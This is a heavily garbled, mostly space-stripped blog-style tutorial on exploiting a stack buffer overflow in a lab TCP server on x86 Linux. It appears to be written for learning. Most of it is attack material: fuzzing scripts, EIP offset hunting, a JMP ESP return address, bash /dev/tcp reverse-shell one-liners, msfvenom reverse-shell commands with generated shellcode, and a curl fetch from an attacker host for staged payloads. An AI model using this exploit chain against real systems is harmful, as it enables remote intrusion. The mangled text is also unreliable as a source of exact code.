computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
